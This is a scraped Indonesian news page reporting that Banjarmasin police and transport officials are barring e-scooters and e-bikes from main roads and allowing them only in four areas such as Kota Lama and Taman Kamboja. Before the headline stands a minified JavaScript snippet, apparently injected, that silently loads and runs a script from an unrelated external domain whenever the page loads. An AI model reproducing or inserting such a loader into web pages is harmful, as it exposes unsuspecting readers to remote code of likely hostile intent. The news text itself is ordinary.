(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Skuter dan Sepeda Listrik Dilarang Berseliweran di Banjarmasin, Hanya Tiga Titik Diperbolehkan


KANALKALIMANTAN.COM, BANJARMASIN – Pengguna skuter dan sepeda listrik di Kota Banjamasin tak boleh asal melintas di jalan raya umum ketika mengoperasikan kendaraannya.

Sebab, kini kendaraan bertenaga listrik itu hanya boleh berlalu lalang pada kawasan tertentu saja, dan dilarang melintas di jalan raya.

Dalam beberapa waktu terakhir, ruas jalan utama di Kota Banjarmasin seperti Jalan A Yani, Jalan MT Haryono dan Jalan A S Musyafa, kerap kali didapati para pengguna skuter dan sepeda listrik berseliweran melintas dengan bebas.

Satuan Lalu Lintas Polresta Banjarmasin bakal menindak tegas siapa pun yang melanggar. Jika ada pengguna skuter dan sepeda listrik masih berkeliaran di jalan raya, polisi akan menegur.

 

Baca juga  : Mengapa Setiap 1 Juni Diperingati Sebagai Hari Lahir Pancasila?

“Sementara kita mulai berikan teguran secara lisan, kepada anak-anak maupun orang dewasa yang menggunakan kendaraan listrik di jalan raya,” ucap Kasat Lantas Kompol M Noor Chaidir SH SIK melalui Ps Kasubnit 3 Kamsel Sat Lantas Polresta Banjarmasin Aiptu Budiono SH MH.

Larangan ini diberlakukan untuk mereka yang menggunakan kendaraan listrik di jalan raya, mengingat kendaraan listrik tidak mempunyai standar keamanan khusus untuk melindungi para penggunanya.

“Kita berikan edukasi mudah-mudaham paham, karena jelas jalan tersebut bukan kawasan tertentu atau jalur khusus sesuai Peraturan Menteri Perhubungan No 45 tahun 2020, yang tidak semata-mata untuk melindungi pengguna skuter dan sepeda listrik,” beber Aiptu Budiono.

Termaktub dalam Permenhub Nomor 45 Tahun 2020 bahwa penggunaan skuter dan sepeda listrik bisa dilakukan pada kawasan tertentu dan juga jalur khusus, termasuk lingkungan perumahan.

 

Baca juga  : Bupati Abdul Hadi Lantik 14 Pejabat Administrator dan Pengawas Pemkab Balangan

Kabid Lalu Lintas Dinas Perhubungan (Dishub) Kota Banjarmasin, Febry Graha Utama dalam rapat Forum Lalu Lintas, Selasa (31/5/2022) mengatakan, Forum Lalu Lintas Kota Banjarmasin telah menyepakati titik atau kawasan yang diperbolehkan mengoperasikan skuter dan sepeda listrik. Yakni kawasan Kota Lama, Siring Piere Tendean, Siring Jalan Jenderal Sudirman dan kawasan Taman Kamboja.

“Namun, untuk kawasan siring yang boleh itu adalah kawasan siringnya, sekali lagi bukan jalan rayanya, dan nantinya aturan ini akan dibuat menjadi sebuah produk hukum berupa Peraturan Wali Kota (Perwali),” tegas Febry Graha Utama. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Desy Arfianty

Recent Posts

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

5 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

6 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

8 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

8 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

8 jam ago

Api Dini Hari di Pelambuan, 75 Jiwa Kehilangan Tempat Tinggal

KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More

10 jam ago

This website uses cookies.